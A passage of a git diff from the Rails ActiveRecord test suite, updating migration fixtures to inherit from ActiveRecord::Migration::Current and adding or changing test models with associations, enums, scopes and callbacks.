ActiveRecord::Migration::Current def self.up end diff --git a/activerecord/test/migrations/to_copy2/2_create_comments.rb b/activerecord/test/migrations/to_copy2/2_create_comments.rb index 0f048d90f7..2e9f5ec6bc 100644 --- a/activerecord/test/migrations/to_copy2/2_create_comments.rb +++ b/activerecord/test/migrations/to_copy2/2_create_comments.rb @@ -1,4 +1,4 @@ -class CreateArticles < ActiveRecord::Migration +class CreateArticles < ActiveRecord::Migration::Current def self.up end diff --git a/activerecord/test/migrations/to_copy_with_name_collision/1_people_have_hobbies.rb b/activerecord/test/migrations/to_copy_with_name_collision/1_people_have_hobbies.rb index e438cf5999..8f81805fe1 100644 --- a/activerecord/test/migrations/to_copy_with_name_collision/1_people_have_hobbies.rb +++ b/activerecord/test/migrations/to_copy_with_name_collision/1_people_have_hobbies.rb @@ -1,4 +1,4 @@ -class PeopleHaveLastNames < ActiveRecord::Migration +class PeopleHaveLastNames < ActiveRecord::Migration::Current def self.up add_column "people", "hobbies", :string end diff --git a/activerecord/test/migrations/to_copy_with_timestamps/20090101010101_people_have_hobbies.rb b/activerecord/test/migrations/to_copy_with_timestamps/20090101010101_people_have_hobbies.rb index 639841f663..607113b091 100644 --- a/activerecord/test/migrations/to_copy_with_timestamps/20090101010101_people_have_hobbies.rb +++ b/activerecord/test/migrations/to_copy_with_timestamps/20090101010101_people_have_hobbies.rb @@ -1,4 +1,4 @@ -class PeopleHaveLastNames < ActiveRecord::Migration +class PeopleHaveLastNames < ActiveRecord::Migration::Current def self.up add_column "people", "hobbies", :text end diff --git a/activerecord/test/migrations/to_copy_with_timestamps/20090101010202_people_have_descriptions.rb b/activerecord/test/migrations/to_copy_with_timestamps/20090101010202_people_have_descriptions.rb index b3d0b30640..d4cbddab50 100644 --- a/activerecord/test/migrations/to_copy_with_timestamps/20090101010202_people_have_descriptions.rb +++ b/activerecord/test/migrations/to_copy_with_timestamps/20090101010202_people_have_descriptions.rb @@ -1,4 +1,4 @@ -class PeopleHaveLastNames < ActiveRecord::Migration +class PeopleHaveLastNames < ActiveRecord::Migration::Current def self.up add_column "people", "description", :text end diff --git a/activerecord/test/migrations/to_copy_with_timestamps2/20090101010101_create_articles.rb b/activerecord/test/migrations/to_copy_with_timestamps2/20090101010101_create_articles.rb index 0f048d90f7..2e9f5ec6bc 100644 --- a/activerecord/test/migrations/to_copy_with_timestamps2/20090101010101_create_articles.rb +++ b/activerecord/test/migrations/to_copy_with_timestamps2/20090101010101_create_articles.rb @@ -1,4 +1,4 @@ -class CreateArticles < ActiveRecord::Migration +class CreateArticles < ActiveRecord::Migration::Current def self.up end diff --git a/activerecord/test/migrations/to_copy_with_timestamps2/20090101010202_create_comments.rb b/activerecord/test/migrations/to_copy_with_timestamps2/20090101010202_create_comments.rb index 2b048edbb5..d361847d4b 100644 --- a/activerecord/test/migrations/to_copy_with_timestamps2/20090101010202_create_comments.rb +++ b/activerecord/test/migrations/to_copy_with_timestamps2/20090101010202_create_comments.rb @@ -1,4 +1,4 @@ -class CreateComments < ActiveRecord::Migration +class CreateComments < ActiveRecord::Migration::Current def self.up end diff --git a/activerecord/test/migrations/valid/1_valid_people_have_last_names.rb b/activerecord/test/migrations/valid/1_valid_people_have_last_names.rb index 06cb911117..c450211d8c 100644 --- a/activerecord/test/migrations/valid/1_valid_people_have_last_names.rb +++ b/activerecord/test/migrations/valid/1_valid_people_have_last_names.rb @@ -1,4 +1,4 @@ -class ValidPeopleHaveLastNames < ActiveRecord::Migration +class ValidPeopleHaveLastNames < ActiveRecord::Migration::Current def self.up add_column "people", "last_name", :string end diff --git a/activerecord/test/migrations/valid/2_we_need_reminders.rb b/activerecord/test/migrations/valid/2_we_need_reminders.rb index 25bb49cb32..d7c63ac892 100644 --- a/activerecord/test/migrations/valid/2_we_need_reminders.rb +++ b/activerecord/test/migrations/valid/2_we_need_reminders.rb @@ -1,4 +1,4 @@ -class WeNeedReminders < ActiveRecord::Migration +class WeNeedReminders < ActiveRecord::Migration::Current def self.up create_table("reminders") do |t| t.column :content, :text diff --git a/activerecord/test/migrations/valid/3_innocent_jointable.rb b/activerecord/test/migrations/valid/3_innocent_jointable.rb index 002a1bf2a6..20fe183777 100644 --- a/activerecord/test/migrations/valid/3_innocent_jointable.rb +++ b/activerecord/test/migrations/valid/3_innocent_jointable.rb @@ -1,4 +1,4 @@ -class InnocentJointable < ActiveRecord::Migration +class InnocentJointable < ActiveRecord::Migration::Current def self.up create_table("people_reminders", :id => false) do |t| t.column :reminder_id, :integer diff --git a/activerecord/test/migrations/valid_with_subdirectories/1_valid_people_have_last_names.rb b/activerecord/test/migrations/valid_with_subdirectories/1_valid_people_have_last_names.rb index 06cb911117..c450211d8c 100644 --- a/activerecord/test/migrations/valid_with_subdirectories/1_valid_people_have_last_names.rb +++ b/activerecord/test/migrations/valid_with_subdirectories/1_valid_people_have_last_names.rb @@ -1,4 +1,4 @@ -class ValidPeopleHaveLastNames < ActiveRecord::Migration +class ValidPeopleHaveLastNames < ActiveRecord::Migration::Current def self.up add_column "people", "last_name", :string end diff --git a/activerecord/test/migrations/valid_with_subdirectories/sub/2_we_need_reminders.rb b/activerecord/test/migrations/valid_with_subdirectories/sub/2_we_need_reminders.rb index 25bb49cb32..d7c63ac892 100644 --- a/activerecord/test/migrations/valid_with_subdirectories/sub/2_we_need_reminders.rb +++ b/activerecord/test/migrations/valid_with_subdirectories/sub/2_we_need_reminders.rb @@ -1,4 +1,4 @@ -class WeNeedReminders < ActiveRecord::Migration +class WeNeedReminders < ActiveRecord::Migration::Current def self.up create_table("reminders") do |t| t.column :content, :text diff --git a/activerecord/test/migrations/valid_with_subdirectories/sub1/3_innocent_jointable.rb b/activerecord/test/migrations/valid_with_subdirectories/sub1/3_innocent_jointable.rb index 002a1bf2a6..20fe183777 100644 --- a/activerecord/test/migrations/valid_with_subdirectories/sub1/3_innocent_jointable.rb +++ b/activerecord/test/migrations/valid_with_subdirectories/sub1/3_innocent_jointable.rb @@ -1,4 +1,4 @@ -class InnocentJointable < ActiveRecord::Migration +class InnocentJointable < ActiveRecord::Migration::Current def self.up create_table("people_reminders", :id => false) do |t| t.column :reminder_id, :integer diff --git a/activerecord/test/migrations/valid_with_timestamps/20100101010101_valid_with_timestamps_people_have_last_names.rb b/activerecord/test/migrations/valid_with_timestamps/20100101010101_valid_with_timestamps_people_have_last_names.rb index 1da99ceaba..9fd27593f0 100644 --- a/activerecord/test/migrations/valid_with_timestamps/20100101010101_valid_with_timestamps_people_have_last_names.rb +++ b/activerecord/test/migrations/valid_with_timestamps/20100101010101_valid_with_timestamps_people_have_last_names.rb @@ -1,4 +1,4 @@ -class ValidWithTimestampsPeopleHaveLastNames < ActiveRecord::Migration +class ValidWithTimestampsPeopleHaveLastNames < ActiveRecord::Migration::Current def self.up add_column "people", "last_name", :string end diff --git a/activerecord/test/migrations/valid_with_timestamps/20100201010101_valid_with_timestamps_we_need_reminders.rb b/activerecord/test/migrations/valid_with_timestamps/20100201010101_valid_with_timestamps_we_need_reminders.rb index cb6d735c8b..4a59921136 100644 --- a/activerecord/test/migrations/valid_with_timestamps/20100201010101_valid_with_timestamps_we_need_reminders.rb +++ b/activerecord/test/migrations/valid_with_timestamps/20100201010101_valid_with_timestamps_we_need_reminders.rb @@ -1,4 +1,4 @@ -class ValidWithTimestampsWeNeedReminders < ActiveRecord::Migration +class ValidWithTimestampsWeNeedReminders < ActiveRecord::Migration::Current def self.up create_table("reminders") do |t| t.column :content, :text diff --git a/activerecord/test/migrations/valid_with_timestamps/20100301010101_valid_with_timestamps_innocent_jointable.rb b/activerecord/test/migrations/valid_with_timestamps/20100301010101_valid_with_timestamps_innocent_jointable.rb index 4bd4b4714d..bf934576c9 100644 --- a/activerecord/test/migrations/valid_with_timestamps/20100301010101_valid_with_timestamps_innocent_jointable.rb +++ b/activerecord/test/migrations/valid_with_timestamps/20100301010101_valid_with_timestamps_innocent_jointable.rb @@ -1,4 +1,4 @@ -class ValidWithTimestampsInnocentJointable < ActiveRecord::Migration +class ValidWithTimestampsInnocentJointable < ActiveRecord::Migration::Current def self.up create_table("people_reminders", :id => false) do |t| t.column :reminder_id, :integer diff --git a/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb b/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb index 9d46485a31..6f314c881c 100644 --- a/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb +++ b/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb @@ -1,4 +1,4 @@ -class MigrationVersionCheck < ActiveRecord::Migration +class MigrationVersionCheck < ActiveRecord::Migration::Current def self.up raise "incorrect migration version" unless version == 20131219224947 end diff --git a/activerecord/test/models/aircraft.rb b/activerecord/test/models/aircraft.rb index 1f35ef45da..c4404a8094 100644 --- a/activerecord/test/models/aircraft.rb +++ b/activerecord/test/models/aircraft.rb @@ -1,4 +1,5 @@ class Aircraft < ActiveRecord::Base self.pluralize_table_names = false has_many :engines, :foreign_key => "car_id" + has_many :wheels, as: :wheelable end diff --git a/activerecord/test/models/author.rb b/activerecord/test/models/author.rb index 8c1f14bd36..38b983eda0 100644 --- a/activerecord/test/models/author.rb +++ b/activerecord/test/models/author.rb @@ -75,7 +75,7 @@ class Author < ActiveRecord::Base has_many :posts_with_multiple_callbacks, :class_name => "Post", :before_add => [:log_before_adding, Proc.new {|o, r| o.post_log << "before_adding_proc#{r.id || '<new>'}"}], :after_add => [:log_after_adding, Proc.new {|o, r| o.post_log << "after_adding_proc#{r.id || '<new>'}"}] - has_many :unchangable_posts, :class_name => "Post", :before_add => :raise_exception, :after_add => :log_after_adding + has_many :unchangeable_posts, :class_name => "Post", :before_add => :raise_exception, :after_add => :log_after_adding has_many :categorizations has_many :categories, :through => :categorizations @@ -144,8 +144,13 @@ class Author < ActiveRecord::Base has_many :posts_with_signature, ->(record) { where("posts.title LIKE ?", "%by #{record.name.downcase}%") }, class_name: "Post" - scope :relation_include_posts, -> { includes(:posts) } - scope :relation_include_tags, -> { includes(:tags) } + has_many :posts_with_extension, -> { order(:title) }, class_name: "Post" do + def extension_method; end + end + + has_many :posts_with_extension_and_instance, ->(record) { order(:title) }, class_name: "Post" do + def extension_method; end + end attr_accessor :post_log after_initialize :set_post_log diff --git a/activerecord/test/models/book.rb b/activerecord/test/models/book.rb index 2170018068..e43e5c3901 100644 --- a/activerecord/test/models/book.rb +++ b/activerecord/test/models/book.rb @@ -10,6 +10,11 @@ class Book < ActiveRecord::Base enum status: [:proposed, :written, :published] enum read_status: {unread: 0, reading: 2, read: 3} enum nullable_status: [:single, :married] + enum language: [:english, :spanish, :french], _prefix: :in + enum author_visibility: [:visible, :invisible], _prefix: true + enum illustrator_visibility: [:visible, :invisible], _prefix: true + enum font_size: [:small, :medium, :large], _prefix: :with, _suffix: true + enum cover: { hard: 'hard', soft: 'soft' } def published! super diff --git a/activerecord/test/models/bulb.rb b/activerecord/test/models/bulb.rb index a6e83fe353..dc0296305a 100644 --- a/activerecord/test/models/bulb.rb +++ b/activerecord/test/models/bulb.rb @@ -1,6 +1,7 @@ class Bulb < ActiveRecord::Base default_scope { where(:name => 'defaulty') } belongs_to :car, :touch => true + scope :awesome, -> { where(frickinawesome: true) } attr_reader :scope_after_initialize, :attributes_after_initialize @@ -49,3 +50,9 @@ class FailedBulb < Bulb throw(:abort) end end + +class TrickyBulb < Bulb + after_create do |record| + record.car.bulbs.to_a + end +end diff --git a/activerecord/test/models/car.rb b/activerecord/test/models/car.rb index 81263b79d1..0f37e9a289 100644 --- a/activerecord/test/models/car.rb +++ b/activerecord/test/models/car.rb @@ -4,6 +4,7 @@ class Car < ActiveRecord::Base has_many :funky_bulbs, class_name: 'FunkyBulb', dependent: :destroy has_many :failed_bulbs, class_name: 'FailedBulb', dependent: :destroy has_many :foo_bulbs, -> { where(:name => 'foo') }, :class_name => "Bulb" + has_many :awesome_bulbs, -> { awesome }, class_name: "Bulb" has_one :bulb @@ -11,6 +12,8 @@ class Car < ActiveRecord::Base has_many :engines, :dependent => :destroy, inverse_of: :my_car has_many :wheels, :as => :wheelable, :dependent => :destroy + has_many :price_estimates, :as => :estimate_of + scope :incl_tyres, -> { includes(:tyres) } scope :incl_engines, -> { includes(:engines) } diff --git a/activerecord/test/models/carrier.rb b/activerecord/test/models/carrier.rb new file mode 100644 index 0000000000..230be118c3 --- /dev/null +++ b/activerecord/test/models/carrier.rb @@ -0,0 +1,2 @@ +class Carrier < ActiveRecord::Base +end diff --git a/activerecord/test/models/cat.rb b/activerecord/test/models/cat.rb new file mode 100644 index 0000000000..dfdde18641 --- /dev/null +++ b/activerecord/test/models/cat.rb @@ -0,0 +1,10 @@ +class Cat < ActiveRecord::Base + self.abstract_class = true + + enum gender: [:female, :male] + + default_scope -> { where(is_vegetarian: false) } +end + +class Lion < Cat +end diff --git a/activerecord/test/models/categorization.rb b/activerecord/test/models/categorization.rb index 6588531de6..4cd67c970a 100644 --- a/activerecord/test/models/categorization.rb +++ b/activerecord/test/models/categorization.rb @@ -1,6 +1,6 @@ class Categorization < ActiveRecord::Base belongs_to :post - belongs_to :category + belongs_to :category, counter_cache: true belongs_to :named_category, :class_name => 'Category', :foreign_key => :named_category_name, :primary_key => :name belongs_to :author diff --git a/activerecord/test/models/chef.rb b/activerecord/test/models/chef.rb index 698a52e045..9d3dd01016 100644 --- a/activerecord/test/models/chef.rb +++ b/activerecord/test/models/chef.rb @@ -2,3 +2,7 @@ class Chef < ActiveRecord::Base belongs_to :employable, polymorphic: true has_many :recipes end + +class ChefList < Chef + belongs_to :employable_list, polymorphic: true +end diff --git a/activerecord/test/models/comment.rb b/activerecord/test/models/comment.rb index b38b17e90e..dcc5c5a310 100644 --- a/activerecord/test/models/comment.rb +++ b/activerecord/test/models/comment.rb @@ -14,6 +14,7 @@ class Comment < ActiveRecord::Base has_many :ratings belongs_to :first_post, :foreign_key => :post_id + belongs_to :special_post_with_default_scope, foreign_key: :post_id has_many :children, :class_name => 'Comment', :foreign_key => :parent_id belongs_to :parent, :class_name => 'Comment', :counter_cache => :children_count diff --git a/activerecord/test/models/company.rb b/activerecord/test/models/company.rb index 6961f8fd6f..1dcd9fc21e 100644 --- a/activerecord/test/models/company.rb +++ b/activerecord/test/models/company.rb @@ -10,7 +10,6 @@ class Company < AbstractCompany has_one :dummy_account, :foreign_key => "firm_id", :class_name => "Account" has_many :contracts has_many :developers, :through => :contracts - has_many :accounts scope :of_first_firm, lambda { joins(:account => :firm). @@ -26,6 +25,9 @@ class Company < AbstractCompany def private_method "I am Jack's innermost fears and aspirations" end + + class SpecialCo < Company + end end module Namespaced @@ -83,6 +85,9 @@ class Firm < Company has_many :association_with_references, -> { references(:foo) }, :class_name => 'Client' + has_one :lead_developer, class_name: "Developer" + has_many :projects + def log @log ||= [] end diff --git a/activerecord/test/models/contact.rb b/activerecord/test/models/contact.rb index 3ea17c3abf..9f2f69e1ee 100644 --- a/activerecord/test/models/contact.rb +++ b/activerecord/test/models/contact.rb @@ -3,7 +3,7 @@ module ContactFakeColumns base.class_eval do establish_connection(:adapter => 'fake') - connection.tables = [table_name] + connection.data_sources = [table_name] connection.primary_keys = { table_name => 'id' } diff --git a/activerecord/test/models/content.rb b/activerecord/test/models/content.rb new file mode 100644 index 0000000000..140e1dfc78 --- /dev/null +++ b/activerecord/test/models/content.rb @@ -0,0 +1,40 @@ +class Content < ActiveRecord::Base + self.table_name = 'content' + has_one :content_position, dependent: :destroy + + def self.destroyed_ids + @destroyed_ids ||= [] + end + + before_destroy do |object| + Content.destroyed_ids << object.id + end +end + +class ContentWhichRequiresTwoDestroyCalls < ActiveRecord::Base + self.table_name = 'content' + has_one :content_position, foreign_key: 'content_id', dependent: :destroy + + after_initialize do + @destroy_count = 0 + end + + before_destroy do + @destroy_count += 1 + if @destroy_count == 1 + throw :abort + end + end +end + +class ContentPosition < ActiveRecord::Base + belongs_to :content, dependent: :destroy + + def self.destroyed_ids + @destroyed_ids ||= [] + end + + before_destroy do |object| + ContentPosition.destroyed_ids << object.id + end +end diff --git a/activerecord/test/models/customer_carrier.rb b/activerecord/test/models/customer_carrier.rb new file mode 100644 index 0000000000..37186903ff --- /dev/null +++ b/activerecord/test/models/customer_carrier.rb @@ -0,0 +1,14 @@ +class CustomerCarrier < ActiveRecord::Base + cattr_accessor :current_customer + + belongs_to :customer + belongs_to :carrier + + default_scope -> { + if current_customer + where(customer: current_customer) + else + all + end + } +end diff --git a/activerecord/test/models/developer.rb b/activerecord/test/models/developer.rb index d2a5a7fc49..9a907273f8 100644 --- a/activerecord/test/models/developer.rb +++ b/activerecord/test/models/developer.rb @@ -7,12 +7,16 @@ module DeveloperProjectsAssociationExtension2 end class Developer < ActiveRecord::Base + self.ignored_columns = %w(first_name last_name) + has_and_belongs_to_many :projects do def find_most_recent order("id DESC").first end end + belongs_to :mentor + accepts_nested_attributes_for :projects has_and_belongs_to_many :shared_computers, class_name: "Computer" @@ -50,6 +54,10 @@ class Developer < ActiveRecord::Base has_many :firms, :through => :contracts, :source => :firm has_many :comments, ->(developer) { where(body: "I'm #{developer.name}") } has_many :ratings, through: :comments + has_one :ship, dependent: :nullify + + belongs_to :firm + has_many :contracted_projects, class_name: "Project" scope :jamises, -> { where(:name => 'Jamis') } @@ -60,6 +68,9 @@ class Developer < ActiveRecord::Base developer.audit_logs.build :message => "Computer created" end + attr_accessor :last_name + define_attribute_method 'last_name' + def log=(message) audit_logs.build :message => message end diff --git a/activerecord/test/models/doubloon.rb b/activerecord/test/models/doubloon.rb new file mode 100644 index 0000000000..2b11d128e2 --- /dev/null +++ b/activerecord/test/models/doubloon.rb @@ -0,0 +1,12 @@ +class AbstractDoubloon < ActiveRecord::Base + # This has functionality that might be shared by multiple classes. + + self.abstract_class = true + belongs_to :pirate +end + +class Doubloon < AbstractDoubloon + # This uses an abstract class that defines attributes and associations. + + self.table_name = 'doubloons' +end diff --git a/activerecord/test/models/face.rb b/activerecord/test/models/face.rb index 91e46f83e5..af76fea52c 100644 --- a/activerecord/test/models/face.rb +++ b/activerecord/test/models/face.rb @@ -1,7 +1,7 @@ class Face < ActiveRecord::Base belongs_to :man, :inverse_of => :face belongs_to :polymorphic_man, :polymorphic => true, :inverse_of => :polymorphic_face - # Oracle identifier lengh is limited to 30 bytes or less, `polymorphic` renamed `poly` + # Oracle identifier length is limited to 30 bytes or less, `polymorphic` renamed `poly` belongs_to :poly_man_without_inverse, :polymorphic => true # These is a "broken" inverse_of for the purposes of testing belongs_to :horrible_man, :class_name => 'Man', :inverse_of => :horrible_face diff --git a/activerecord/test/models/guitar.rb b/activerecord/test/models/guitar.rb new file mode 100644 index 0000000000..cd068ff53d --- /dev/null +++ b/activerecord/test/models/guitar.rb @@ -0,0 +1,4 @@ +class Guitar < ActiveRecord::Base + has_many :tuning_pegs, index_errors: true + accepts_nested_attributes_for :tuning_pegs +end diff --git a/activerecord/test/models/hotel.rb b/activerecord/test/models/hotel.rb index 491f8dfde3..9c90ffcff4 100644 --- a/activerecord/test/models/hotel.rb +++ b/activerecord/test/models/hotel.rb @@ -3,5 +3,9 @@ class Hotel < ActiveRecord::Base has_many :chefs, through: :departments has_many :cake_designers, source_type: 'CakeDesigner', source: :employable, through: :chefs has_many :drink_designers, source_type: 'DrinkDesigner', source: :employable, through: :chefs + + has_many :chef_lists, as: :employable_list + has_many :mocktail_designers, through: :chef_lists, source: :employable, :source_type => "MocktailDesigner" + has_many :recipes, through: :chefs end diff --git a/activerecord/test/models/member.rb b/activerecord/test/models/member.rb index dc0566d8a7..7693c6e515 100644 --- a/activerecord/test/models/member.rb +++ b/activerecord/test/models/member.rb @@ -26,6 +26,9 @@ class Member < ActiveRecord::Base has_many :current_memberships, -> { where :favourite => true } has_many :clubs, :through => :current_memberships + has_many :tenant_memberships + has_many :tenant_clubs, through: :tenant_memberships, class_name: 'Club', source: :club + has_one :club_through_many, :through => :current_memberships, :source => :club belongs_to :admittable, polymorphic: true diff --git a/activerecord/test/models/member_detail.rb b/activerecord/test/models/member_detail.rb index 9d253aa126..157130986c 100644 --- a/activerecord/test/models/member_detail.rb +++ b/activerecord/test/models/member_detail.rb @@ -1,7 +1,8 @@ class MemberDetail < ActiveRecord::Base - belongs_to :member, :inverse_of => false + belongs_to :member, inverse_of: false belongs_to :organization - has_one :member_type, :through => :member + has_one :member_type, through: :member + has_one :membership, through: :member - has_many :organization_member_details, :through => :organization, :source => :member_details + has_many :organization_member_details, through: :organization, source: :member_details end diff --git a/activerecord/test/models/membership.rb b/activerecord/test/models/membership.rb index df7167ee93..e181ba1f11 100644 --- a/activerecord/test/models/membership.rb +++ b/activerecord/test/models/membership.rb @@ -18,3 +18,18 @@ class SelectedMembership < Membership select("'1' as foo") end end + +class TenantMembership < Membership + cattr_accessor :current_member + + belongs_to :member + belongs_to :club + + default_scope -> { + if current_member + where(member: current_member) + else + all + end + } +end diff --git a/activerecord/test/models/mentor.rb b/activerecord/test/models/mentor.rb new file mode 100644 index 0000000000..11f1e4bff8 --- /dev/null +++ b/activerecord/test/models/mentor.rb @@ -0,0 +1,3 @@ +class Mentor < ActiveRecord::Base + has_many :developers +end
\ No newline at end of file diff --git a/activerecord/test/models/mocktail_designer.rb b/activerecord/test/models/mocktail_designer.rb new file mode 100644 index 0000000000..77b44651a3 --- /dev/null +++ b/activerecord/test/models/mocktail_designer.rb @@ -0,0 +1,2 @@ +class MocktailDesigner < DrinkDesigner +end diff --git a/activerecord/test/models/node.rb b/activerecord/test/models/node.rb new file mode 100644 index 0000000000..07dd2dbccb --- /dev/null +++ b/activerecord/test/models/node.rb @@ -0,0 +1,5 @@ +class Node < ActiveRecord::Base + belongs_to :tree, touch: true + belongs_to :parent, class_name: 'Node', touch: true, optional: true + has_many :children, class_name: 'Node', foreign_key: :parent_id, dependent: :destroy +end diff --git a/activerecord/test/models/notification.rb b/activerecord/test/models/notification.rb index b4b4b8f1b6..82edc64b68 100644 --- a/activerecord/test/models/notification.rb +++ b/activerecord/test/models/notification.rb @@ -1,2 +1,3 @@ class Notification < ActiveRecord::Base + validates_presence_of :message end diff --git a/activerecord/test/models/owner.rb b/activerecord/test/models/owner.rb index cedb774b10..ce8242cf2f 100644 --- a/activerecord/test/models/owner.rb +++ b/activerecord/test/models/owner.rb @@ -1,7 +1,8 @@ class Owner < ActiveRecord::Base self.primary_key = :owner_id has_many :pets, -> { order 'pets.name desc' } - has_many :toys, :through => :pets + has_many :toys, through: :pets + has_many :persons, through: :pets belongs_to :last_pet, class_name: 'Pet' scope :including_last_pet, -> { diff --git a/activerecord/test/models/parrot.rb b/activerecord/test/models/parrot.rb index b26035d944..ddc9dcaf29 100644 --- a/activerecord/test/models/parrot.rb +++ b/activerecord/test/models/parrot.rb @@ -21,9 +21,3 @@ end class DeadParrot < Parrot belongs_to :killer, :class_name => 'Pirate', foreign_key: :killer_id end - -class FunkyParrot < Parrot - before_destroy do - raise "before_destroy was called" - end -end diff --git a/activerecord/test/models/person.rb b/activerecord/test/models/person.rb index ad12f00d42..a4a9c6b0d4 100644 --- a/activerecord/test/models/person.rb +++ b/activerecord/test/models/person.rb @@ -37,7 +37,6 @@ class Person < ActiveRecord::Base has_many :essays, primary_key: "first_name", foreign_key: "writer_id" scope :males, -> { where(:gender => 'M') } - scope :females, -> { where(:gender => 'F') } end class PersonWithDependentDestroyJobs < ActiveRecord::Base diff --git a/activerecord/test/models/pet.rb b/activerecord/test/models/pet.rb index f7970d7aab..53489fa1b3 100644 --- a/activerecord/test/models/pet.rb +++ b/activerecord/test/models/pet.rb @@ -4,6 +4,9 @@ class Pet < ActiveRecord::Base self.primary_key = :pet_id belongs_to :owner, :touch => true has_many :toys + has_many :pet_treasures + has_many :treasures, through: :pet_treasures + has_many :persons, through: :treasures, source: :looter, source_type: 'Person' class << self attr_accessor :after_destroy_output diff --git a/activerecord/test/models/pet_treasure.rb b/activerecord/test/models/pet_treasure.rb new file mode 100644 index 0000000000..1fe7807ffe --- /dev/null +++ b/activerecord/test/models/pet_treasure.rb @@ -0,0 +1,6 @@ +class PetTreasure < ActiveRecord::Base + self.table_name = "pets_treasures" + + belongs_to :pet + belongs_to :treasure +end diff --git a/activerecord/test/models/post.rb b/activerecord/test/models/post.rb index 052b1c9690..bf3079a1df 100644 --- a/activerecord/test/models/post.rb +++ b/activerecord/test/models/post.rb @@ -98,11 +98,11 @@ class Post < ActiveRecord::Base end end - has_many :taggings_with_delete_all, :class_name => 'Tagging', :as => :taggable, :dependent => :delete_all - has_many :taggings_with_destroy, :class_name => 'Tagging', :as => :taggable, :dependent => :destroy + has_many :taggings_with_delete_all, :class_name => 'Tagging', :as => :taggable, :dependent => :delete_all, counter_cache: :taggings_with_delete_all_count + has_many :taggings_with_destroy, :class_name => 'Tagging', :as => :taggable, :dependent => :destroy, counter_cache: :taggings_with_destroy_count - has_many :tags_with_destroy, :through => :taggings, :source => :tag, :dependent => :destroy - has_many :tags_with_nullify, :through => :taggings, :source => :tag, :dependent => :nullify + has_many :tags_with_destroy, :through => :taggings, :source => :tag, :dependent => :destroy, counter_cache: :tags_with_destroy_count + has_many :tags_with_nullify, :through => :taggings, :source => :tag, :dependent => :nullify, counter_cache: :tags_with_nullify_count has_many :misc_tags, -> { where :tags => { :name => 'Misc' } }, :through => :taggings, :source => :tag has_many :funky_tags, :through => :taggings, :source => :tag @@ -185,6 +185,7 @@ class SubStiPost < StiPost end class FirstPost < ActiveRecord::Base + self.inheritance_column = :disabled self.table_name = 'posts' default_scope { where(:id => 1) } @@ -193,6 +194,7 @@ class FirstPost < ActiveRecord::Base end class PostWithDefaultInclude < ActiveRecord::Base + self.inheritance_column = :disabled self.table_name = 'posts' default_scope { includes(:comments) } has_many :comments, :foreign_key => :post_id @@ -204,16 +206,35 @@ class PostWithSpecialCategorization < Post end class PostWithDefaultScope < ActiveRecord::Base + self.inheritance_column = :disabled self.table_name = 'posts' default_scope { order(:title) } end +class PostWithPreloadDefaultScope < ActiveRecord::Base + self.table_name = 'posts' + + has_many :readers, foreign_key: 'post_id' + + default_scope { preload(:readers) } +end + +class PostWithIncludesDefaultScope < ActiveRecord::Base + self.table_name = 'posts' + + has_many :readers, foreign_key: 'post_id' + + default_scope { includes(:readers) } +end + class SpecialPostWithDefaultScope < ActiveRecord::Base + self.inheritance_column = :disabled self.table_name = 'posts' default_scope { where(:id => [1, 5,6]) } end class PostThatLoadsCommentsInAnAfterSaveHook < ActiveRecord::Base + self.inheritance_column = :disabled self.table_name = 'posts' has_many :comments, class_name: "CommentThatAutomaticallyAltersPostBody", foreign_key: :post_id @@ -223,6 +244,7 @@ class PostThatLoadsCommentsInAnAfterSaveHook < ActiveRecord::Base end class PostWithAfterCreateCallback < ActiveRecord::Base + self.inheritance_column = :disabled self.table_name = 'posts' has_many :comments, foreign_key: :post_id @@ -232,6 +254,7 @@ class PostWithAfterCreateCallback < ActiveRecord::Base end class PostWithCommentWithDefaultScopeReferencesAssociation < ActiveRecord::Base + self.inheritance_column = :disabled self.table_name = 'posts' has_many :comment_with_default_scope_references_associations, foreign_key: :post_id has_one :first_comment, class_name: "CommentWithDefaultScopeReferencesAssociation", foreign_key: :post_id @@ -240,3 +263,10 @@ end class SerializedPost < ActiveRecord::Base serialize :title end + +class ConditionalStiPost < Post + default_scope { where(title: 'Untitled') } +end + +class SubConditionalStiPost < ConditionalStiPost +end diff --git a/activerecord/test/models/professor.rb b/activerecord/test/models/professor.rb new file mode 100644 index 0000000000..7654eda0ef --- /dev/null +++ b/activerecord/test/models/professor.rb @@ -0,0 +1,5 @@ +require_dependency 'models/arunit2_model' + +class Professor < ARUnit2Model + has_and_belongs_to_many :courses +end diff --git a/activerecord/test/models/project.rb b/activerecord/test/models/project.rb index 7f42a4b1f8..efa8246f1e 100644 --- a/activerecord/test/models/project.rb +++ b/activerecord/test/models/project.rb @@ -1,4 +1,5 @@ class Project < ActiveRecord::Base + belongs_to :mentor has_and_belongs_to_many :developers, -> { distinct.order 'developers.name desc, developers.id desc' } has_and_belongs_to_many :readonly_developers, -> { readonly }, :class_name => "Developer" has_and_belongs_to_many :non_unique_developers, -> { order 'developers.name desc, developers.id desc' }, :class_name => 'Developer' @@ -11,6 +12,16 @@ class Project < ActiveRecord::Base :before_remove => Proc.new {|o, r| o.developers_log << "before_removing#{r.id}"}, :after_remove => Proc.new {|o, r| o.developers_log << "after_removing#{r.id}"} has_and_belongs_to_many :well_payed_salary_groups, -> { group("developers.salary").having("SUM(salary) > 10000").select("SUM(salary) as salary") }, :class_name => "Developer" + belongs_to :firm + has_one :lead_developer, through: :firm, inverse_of: :contracted_projects + + begin + previous_value, ActiveRecord::Base.belongs_to_required_by_default = + ActiveRecord::Base.belongs_to_required_by_default, true + has_and_belongs_to_many :developers_required_by_default, class_name: "Developer" + ensure + ActiveRecord::Base.belongs_to_required_by_default = previous_value + end attr_accessor :developers_log after_initialize :set_developers_log diff --git a/activerecord/test/models/ship.rb b/activerecord/test/models/ship.rb index 312caef604..e333b964ab 100644 --- a/activerecord/test/models/ship.rb +++ b/activerecord/test/models/ship.rb @@ -3,6 +3,7 @@ class Ship < ActiveRecord::Base belongs_to :pirate belongs_to :update_only_pirate, :class_name => 'Pirate' + belongs_to :developer, dependent: :destroy has_many :parts, :class_name => 'ShipPart' has_many :treasures @@ -19,6 +20,18 @@ class Ship < ActiveRecord::Base end end +class ShipWithoutNestedAttributes < ActiveRecord::Base + self.table_name = "ships" + has_many :prisoners, inverse_of: :ship, foreign_key: :ship_id + has_many :parts, class_name: "ShipPart", foreign_key: :ship_id + + validates :name, presence: true +end + +class Prisoner < ActiveRecord::Base + belongs_to :ship, autosave: true, class_name: "ShipWithoutNestedAttributes", inverse_of: :prisoners +end + class FamousShip < ActiveRecord::Base 